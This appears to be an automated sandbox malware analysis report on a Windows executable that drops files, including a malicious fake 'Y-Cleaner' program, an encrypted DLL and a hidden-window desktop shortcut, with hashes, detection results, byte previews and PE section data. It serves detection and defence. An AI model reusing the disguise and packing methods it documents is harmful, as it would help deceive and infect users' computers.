SSDEEP:	192:R6l7wVeJrCm6a6Y9NSU9DhsgmfBGWepDT89bVpsfkAnm:R6lXJv6a6YnSU9DhsgmfZ3VCfkd
MD5:	C6690A5D896C6043E9F2BD5ABCAF7AB9
SHA1:	71D00BF0578427CB0D312ACE1CD9DD4AAF16AA99
SHA-256:	BFC2550EBC04D9AC274294FAC28D7820BE40776EFBB60791A1B10D97518B18FD
SHA-512:	5584987422A49A95B5B25922D90C133B6241CE64D24C5CAECC7662A80C31C9E169495948F68B235E3B94657DE5C17AF8ADB73E796AEF04B858B8B90CA36866A5
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.5.4.8.0.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERBFD5.tmp.xml

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4541
Entropy (8bit):	4.4275334664753565
Encrypted:	false
SSDEEP:	48:cvIwWl8zspiJg77aI9HcWpW8VYa/Ym8M4JBRFO+q82RkP1+id:uIjfWI7NV7VWJcx+1+id
MD5:	127713A3D06DC2541727B4AD1F691833
SHA1:	7996D976DDE41E404E3AAE9662DC890883A88D11
SHA-256:	A22775C14C1DAA57ED1FEBD43445766E6A5D05FE749469B08F88561B05E574E2
SHA-512:	D57616C9C0A3615439291ECB3596C1BA80EFE79D4D5C7AEF9E01D4DB18876947728B45E5B3AA72186B477F7E2F6B4867CE97C6D84364FF62E09D0722A0071950
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="628903" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\add[1].htm

Process:	C:\Users\user\Desktop\file.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Reputation:	high, very likely benign file
Preview:	0

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\dll[1]

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	242176
Entropy (8bit):	6.47050397947197
Encrypted:	false
SSDEEP:	6144:SIQpxILDXGGMO7Ice9C5kQw2hWHcHTykhb:SIQpxILDXGGlET9n/cHG
MD5:	2ECB51AB00C5F340380ECF849291DBCF
SHA1:	1A4DFFBCE2A4CE65495ED79EAB42A4DA3B660931
SHA-256:	F1B3E0F2750A9103E46A6A4A34F1CF9D17779725F98042CC2475EC66484801CF
SHA-512:	E241A48EAFCAF99187035F0870D24D74AE97FE84AAADD2591CCEEA9F64B8223D77CFB17A038A58EADD3B822C5201A6F7494F26EEA6F77D95F77F6C668D088E6B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: Mk4JWS27SO.exe, Detection: malicious, Browse
Reputation:	high, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...Jl.X...........!..................... ........... ....................... ............@.....................................W.................................................................................... ............... ..H............text...4.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........`..4e...........U..............................................}.Y.y.=.{.X.x.=..r...p.o2....o...(3.....o2...}....:..s.....(...........2r...p(;...&Vr...p.....r...p.......(....>.........}.......(C.....o...(D...(E...}.....(F...(E...(G...&>.........}.......(C.....o...(D...}.....(F...(E...(H...&".......>.........}....R..} .....{ ...oo.....{ ..."..}!.....{!......}.....{#....{....op....{....,...{ ...oo.....{!...oo.....{....B.....su...(v.....{#....{#...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\download[1].htm

Process:	C:\Users\user\Desktop\file.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Preview:	0

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\fuckingdllENCR[1].dll

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	97296
Entropy (8bit):	7.9982317718947025
Encrypted:	true
SSDEEP:	1536:A1FazaNKjs9ezO6kGnCRFVjltPjM9Ew1MhiIeJfZCQdOlnq32YTCUZiyAS3tUX9F:k4zaMjVUGCRzbgqw1MoIeJyQ4nyqX9F
MD5:	E6743949BBF24B39B25399CD7C5D3A2E
SHA1:	DBE84C91A9B0ACCD2C1C16D49B48FAEAEC830239
SHA-256:	A3B82FC46635A467CC8375D40DDBDDD71CAE3B7659D2BB5C3C4370930AE9468C
SHA-512:	3D50396CDF33F5C6522D4C485D96425C0DDB341DB9BD66C43EAE6D8617B26A4D9B4B9A5AEE0457A4F1EC6FAC3CB8208C562A479DCAE024A50143CBFA4E1F15F6
Malicious:	false
Preview:	XM .4Ih..]...t.&.s...v.0{.v.vs'...:.l.h...e.....R....1...r.R+Fk....~.s.....Q.....r.T.b.....~c..[........;...j.@.0.%.....x...v.w.....<ru....Yre;.b6...HQ-...8.B..Q.a...R.:.h&r.......=.;r.k..T.@....l..;#..3!.O..x.}........y'<.GfQ.K.#.L5v..].......d....N{e..@................A\..<.t.u.X.O.n..Z.. .Xb.O<.Z...h~.(.W.f.z.V.4..L...%5.0...H..`s...y.B......(IL5s:aS}X.......M9.J.o....).'..M;n6]...W..n....)...L...._..e.....>....[....RA.........'...6.N..g6....IY.%h.. 3r....^..\.b~y./....h.2......ZLk....u}..V..<.fbD.<!.._2.zo..IE...P..O...u......P.......w#.6N..&l.R}GI...LY...N.yz..j..Hy.'..._.5..Pd9.y..+....6.q...).G.c...L#....5\.M....5U])....U(..~H.m....Y....G1.r.4.B..h........P..]i...M%.............)q......]....~\|..j...b..K!..N.7R.}T.2bsq..1...L^..!.\|q.D'...s.Ln...D@..bn%0=b.Q1.....+l...QXO\|.......NC.d......{.0....8F.....<.W.y..{o..j.3.....n..4.....eS]. K...o.B.H~.sh.1....m8....6{.ls..R..q..~....w._;....X*.#..U....6n.ODbT.+Zc....q....S.$-S`YT....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\download[1].htm

Process:	C:\Users\user\Desktop\file.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Preview:	0

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\key[1].htm

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	21
Entropy (8bit):	3.880179922675737
Encrypted:	false
SSDEEP:	3:gFsR0GOWW:gyRhI
MD5:	408E94319D97609B8E768415873D5A14
SHA1:	E1F56DE347505607893A0A1442B6F3659BEF79C4
SHA-256:	E29A4FD2CB1F367A743EA7CFD356DBD19AEB271523BBAE49D4F53257C3B0A78D
SHA-512:	994FA19673C6ADC2CC5EF31C6A5C323406BB351551219EE0EEDA4663EC32DAF2A1D14702472B5CF7B476809B088C85C5BE684916B73046DA0DF72236BC6F5608
Malicious:	false
Preview:	9tKiK3bsYm4fMuK47Pk3s

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\soft[1]

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1502720
Entropy (8bit):	7.646111739368707
Encrypted:	false
SSDEEP:	24576:7i4dHPD/8u4dJG/8yndSzGmTG2/mR2SGeYdc0GmTG2/mR6Trr2h60qP:7rPD/8I/8ly+Zrr2h60qP
MD5:	A8CF5621811F7FAC55CFE8CB3FA6B9F6
SHA1:	121356839E8138A03141F5F5856936A85BD2A474
SHA-256:	614A0362AB87CEE48D0935B5BB957D539BE1D94C6FDEB3FE42FAC4FBE182C10C
SHA-512:	4479D951435F222CA7306774002F030972C9F1715D6AAF512FCA9420DD79CB6D08240F80129F213851773290254BE34F0FF63C7B1F4D554A7DB5F84B69E84BDD
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 75%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: Mk4JWS27SO.exe, Detection: malicious, Browse Filename: BsVEQQnfyN.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..._............"...0..0...........O... ...`....@.. .......................@............`.................................LO..O....`...................... ......0O............................................... ............... ..H............text..../... ...0.................. ..`.rsrc.......`.......2..............@..@.reloc....... ......................@..B.................O......H.......h~...D......U... .................................................(......(.....~....-.r...p.....(....o....s.........~.....~...........j(....r=..p~....o....t....j(....rM..p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t.....~......(....Vs....(....t.........N.(.....(.....(........0..f.......(.........8M........o....9:....o.......o.......-a.{......<...%..o.....%.

C:\Users\user\AppData\Local\Temp\Gw22fw4wYfffwGJG\Bunifu_UI_v1.5.3.dll

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	242176
Entropy (8bit):	6.47050397947197
Encrypted:	false
SSDEEP:	6144:SIQpxILDXGGMO7Ice9C5kQw2hWHcHTykhb:SIQpxILDXGGlET9n/cHG
MD5:	2ECB51AB00C5F340380ECF849291DBCF
SHA1:	1A4DFFBCE2A4CE65495ED79EAB42A4DA3B660931
SHA-256:	F1B3E0F2750A9103E46A6A4A34F1CF9D17779725F98042CC2475EC66484801CF
SHA-512:	E241A48EAFCAF99187035F0870D24D74AE97FE84AAADD2591CCEEA9F64B8223D77CFB17A038A58EADD3B822C5201A6F7494F26EEA6F77D95F77F6C668D088E6B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...Jl.X...........!..................... ........... ....................... ............@.....................................W.................................................................................... ............... ..H............text...4.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........`..4e...........U..............................................}.Y.y.=.{.X.x.=..r...p.o2....o...(3.....o2...}....:..s.....(...........2r...p(;...&Vr...p.....r...p.......(....>.........}.......(C.....o...(D...(E...}.....(F...(E...(G...&>.........}.......(C.....o...(D...}.....(F...(E...(H...&".......>.........}....R..} .....{ ...oo.....{ ..."..}!.....{!......}.....{#....{....op....{....,...{ ...oo.....{!...oo.....{....B.....su...(v.....{#....{#...

C:\Users\user\AppData\Local\Temp\Gw22fw4wYfffwGJG\Y-Cleaner.exe

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1502720
Entropy (8bit):	7.646111739368707
Encrypted:	false
SSDEEP:	24576:7i4dHPD/8u4dJG/8yndSzGmTG2/mR2SGeYdc0GmTG2/mR6Trr2h60qP:7rPD/8I/8ly+Zrr2h60qP
MD5:	A8CF5621811F7FAC55CFE8CB3FA6B9F6
SHA1:	121356839E8138A03141F5F5856936A85BD2A474
SHA-256:	614A0362AB87CEE48D0935B5BB957D539BE1D94C6FDEB3FE42FAC4FBE182C10C
SHA-512:	4479D951435F222CA7306774002F030972C9F1715D6AAF512FCA9420DD79CB6D08240F80129F213851773290254BE34F0FF63C7B1F4D554A7DB5F84B69E84BDD
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 75%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..._............"...0..0...........O... ...`....@.. .......................@............`.................................LO..O....`...................... ......0O............................................... ............... ..H............text..../... ...0.................. ..`.rsrc.......`.......2..............@..@.reloc....... ......................@..B.................O......H.......h~...D......U... .................................................(......(.....~....-.r...p.....(....o....s.........~.....~...........j(....r=..p~....o....t....j(....rM..p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t.....~......(....Vs....(....t.........N.(.....(.....(........0..f.......(.........8M........o....9:....o.......o.......-a.{......<...%..o.....%.

C:\Users\user\Desktop\Cleaner.lnk

Process:	C:\Users\user\Desktop\file.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Icon number=0, Archive, ctime=Fri Dec 13 01:40:50 2024, mtime=Fri Dec 13 01:40:50 2024, atime=Fri Dec 13 01:40:50 2024, length=1502720, window=hide
Category:	dropped
Size (bytes):	2149
Entropy (8bit):	3.792029602904534
Encrypted:	false
SSDEEP:	24:8sZNUcRxXEUxQKRbgKPx9bKtErSiyA8fmRvNu9S299LO4Zm5q9y1TqyFm:8sZNlXRQKRd9rIqvNu429tZsq1yF
MD5:	3F985F00B213BDDCD14B76540533355D
SHA1:	DD242A9BD6A8CC824D30A33DFD26CC0F42304073
SHA-256:	EC7D1361BD9D052B6F5194D3FEB98DEA94D926152779E24BAC84D818767EF273
SHA-512:	EBE11EF72E4703CA0928CD349BABF1DAB09D03303E3F30AB1E1707BD5FC6F07CAC4F97849BB51CD860663F8D18C5041744180BC5F73319BDD28F6DA294F55E3C
Malicious:	false
Preview:	L..................F.@.. ......k.M.....k.M.....k.M............................:..DG..Yr?.D..U..k0.&...&......vk.v.......I.M.....k.M......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^.Y.............................%..A.p.p.D.a.t.a...B.P.1......Y....Local.<......CW.^.Y......b.....................,...L.o.c.a.l.....N.1......Y....Temp..:......CW.^.Y......l......................C..T.e.m.p.....j.1......Y....GW22FW~1..R......Y...Y...............................G.w.2.2.f.w.4.w.Y.f.f.f.w.G.J.G.....h.2......Y.. .Y-CLEA~1.EXE..L......Y...Y............................A..Y.-.C.l.e.a.n.e.r...e.x.e.......o...............-.......n...........J.......C:\Users\user\AppData\Local\Temp\Gw22fw4wYfffwGJG\Y-Cleaner.exe....M.a.k.e. .y.o.u.r. .P.C. .f.a.s.t.e.r.4.....\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.G.w.2.2.f.w.4.w.Y.f.f.f.w.G.J.G.\.Y.-.C.l.e.a.n.e.r...e.x.e.@.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.G.w.2.2.f.w.4.w.Y.f.f.f.w.G.J.G.\.Y.-

C:\Windows\appcompat\Programs\Amcache.hve

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.465231216544657
Encrypted:	false
SSDEEP:	6144:3IXfpi67eLPU9skLmb0b4+WSPKaJG8nAgejZMMhA2gX4WABl0uNPdwBCswSbP:4XD94+WlLZMM6YFH1+P
MD5:	ADDFF036B9086D23FCFB95CDBC6F5CDF
SHA1:	B9B3E9857D44A1F862A945456D2D8014EDA495D6
SHA-256:	3B6CD2793013894AF0154B923FC7A14F6D52FAF48DFE1482575F99AE6B38E7E6
SHA-512:	8EF184741909F3548BD0F68CF608C7575CA2403FEA53ABACDECEA7AA553FD5B0E5DA2653E48FAA4B961BA46DE317590537C313E14004BCBE348D492307ECEC1D
Malicious:	false
Preview:	regf6...6....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm..-l.M..............................................................................................................................................................................................................................................................................................................................................h3:X........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.939255410181343
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'009'600 bytes
MD5:	5c682cd7d028b24b4cd0f276f3b50f54
SHA1:	e6e8d03bfd05caff9df36150b7daf6c8a8b799d2
SHA256:	53957b3c63da49c6bfd73328983d398e81c80c74c5d789d2066ff306769f3277
SHA512:	616beed27ce126e88f882911c388d31e2c2ef5bd2c1ed05df06c1f3b0939d42787a9b08cf16a9a331301eed0875b55e4d47d99c5d975ead6e00e2b5e846cdfa5
SSDEEP:	49152:IGF222lKRnVbJ2XLiHRanDTOXW7T9noubz2UonM:IQTROnDT97T2WCM
TLSH:	ED953367FE1B29BCCC108673D27B85FAEAD95A68CE13C692014ACF4F58713914BBC245
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........!J..@$..@$..@$......@$......@$......@$..._..@$..@%..@$......@$......@$......@$.Rich.@$.........PE..L......d...................

File Icon


Icon Hash:	c7a99a8aa651798c

Static PE Info

General

Entrypoint:	0xc82000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x64DDDE0C [Thu Aug 17 08:45:00 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FBCFCEFA4AAh
js 00007FBCFCEFA4C4h
add byte ptr [eax], al
jmp 00007FBCFCEFC4A5h
inc ecx
push bx
dec esi
dec ebp
das
xor al, 36h
dec edi
bound ecx, dword ptr [ecx+4Ah]
dec edx
insd
push edi
dec eax
dec eax
jbe 00007FBCFCEFA512h
push esi
dec edx
popad
je 00007FBCFCEFA50Bh
push edx
dec esi
jc 00007FBCFCEFA51Ah
cmp byte ptr [ebx], dh
push edx
jns 00007FBCFCEFA4E7h
or eax, 49674B0Ah
cmp byte ptr [edi+43h], dl
jnc 00007FBCFCEFA4EDh
bound eax, dword ptr [ecx+30h]
pop edx
inc edi
push esp
push 43473163h
aaa
push edi
dec esi
xor ebp, dword ptr [ebx+59h]
push edi
push edx
pop eax
je 00007FBCFCEFA4F7h
xor dl, byte ptr [ebx+2Bh]
popad
jne 00007FBCFCEFA4ECh
dec eax
dec ebp
jo 00007FBCFCEFA4E3h
xor dword ptr [edi], esi
inc esp
dec edx
dec ebp
jns 00007FBCFCEFA4F0h
insd
jnc 00007FBCFCEFA510h
aaa
inc esp
inc ecx
inc ebx
xor dl, byte ptr [ecx+4Bh]
inc edx
inc esp
bound esi, dword ptr [ebx]
or eax, 63656B0Ah
jno 00007FBCFCEFA4F8h
push edx
insb
js 00007FBCFCEFA511h
outsb
inc ecx
jno 00007FBCFCEFA4F2h
push ebp
inc esi
pop edx
xor eax, dword ptr [ebx+36h]
push eax
aaa
imul edx, dword ptr [ebx+58h], 4Eh
aaa
inc ebx
jbe 00007FBCFCEFA4ECh
dec ebx
js 00007FBCFCEFA4E3h
jne 00007FBCFCEFA4D1h
push esp
inc bp
outsb
inc edx
popad
dec ebx
insd
dec ebp
inc edi
xor dword ptr [ecx+36h], esp
push 0000004Bh
sub eax, dword ptr [ebp+33h]
jp 00007FBCFCEFA4FCh
dec edx
xor bh, byte ptr [edx+56h]
bound eax, dword ptr [edi+66h]
jbe 00007FBCFCEFA4DAh
dec eax
or eax, 506C720Ah
aaa
xor dword ptr fs:[ebp+62h], ecx
arpl word ptr [esi], si
inc esp
jo 00007FBCFCEFA513h

Rich Headers

Programming Language:

[C++] VS2008 build 21022
[ASM] VS2008 build 21022
[ C ] VS2008 build 21022
[IMP] VS2005 build 50727
[RES] VS2008 build 21022
[LNK] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x42105a	0x6e	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x40e000	0x12168	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x87582c	0x18	ianscrqt
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x40d000	0x25400	ee8b55d18cd49252a682335b011d7b6c	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x40e000	0x12168	0x9400	b8856f19cc25c6f78672257ab332c2c3	False	0.962890625	data	7.88967103275023	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x421000	0x1000	0x200	de906030ab088402d586a76aa6666758	False	0.15234375	data	1.0884795995201089	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x422000	0x2a6000	0x200	50aef7c4e552141a54d72d7ac151ef84	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ianscrqt	0x6c8000	0x1b9000	0x1b8800	caff53023fa6569ed81502ddc8956746	False	0.9847197343217934	data	7.940739839862975	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
dbzeaxxe	0x881000	0x1000	0x400	1c39fa81574aeba9f8efff7c0635a82a	False	0.7919921875	data	6.12876357834991	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x882000	0x3000	0x2200	7dd30ea71c9d706cd0aaa7f7d686d9bd	False	0.39499080882352944	DOS executable (COM)	4.197953981439036	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_CURSOR	0x40e730	0x130	data			1.0361842105263157
RT_CURSOR	0x40e860	0x25a8	data			1.0011410788381743
RT_CURSOR	0x410e08	0xea8	data			1.0029317697228144
RT_ICON	0x87588c	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Syriac	Syriac	0.3648720682302772
RT_ICON	0x876734	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Syriac	Syriac	0.5063176895306859
RT_ICON	0x876fdc	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Syriac	Syriac	0.5881336405529954
RT_ICON	0x8776a4	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Syriac	Syriac	0.619942196531792
RT_ICON	0x877c0c	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Syriac	Syriac	0.3574108818011257
RT_ICON	0x878cb4	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Syriac	Syriac	0.3536885245901639
RT_ICON	0x87963c	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Syriac	Syriac	0.40425531914893614
RT_ICON	0x879aa4	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Syriac	Syriac	0.7969083155650319
RT_ICON	0x87a94c	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Syriac	Syriac	0.8032490974729242
RT_ICON	0x87b1f4	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Syriac	Syriac	0.7350230414746544
RT_ICON	0x87b8bc	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Syriac	Syriac	0.7774566473988439
RT_ICON	0x87be24	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	Syriac	Syriac	0.6827800829875519
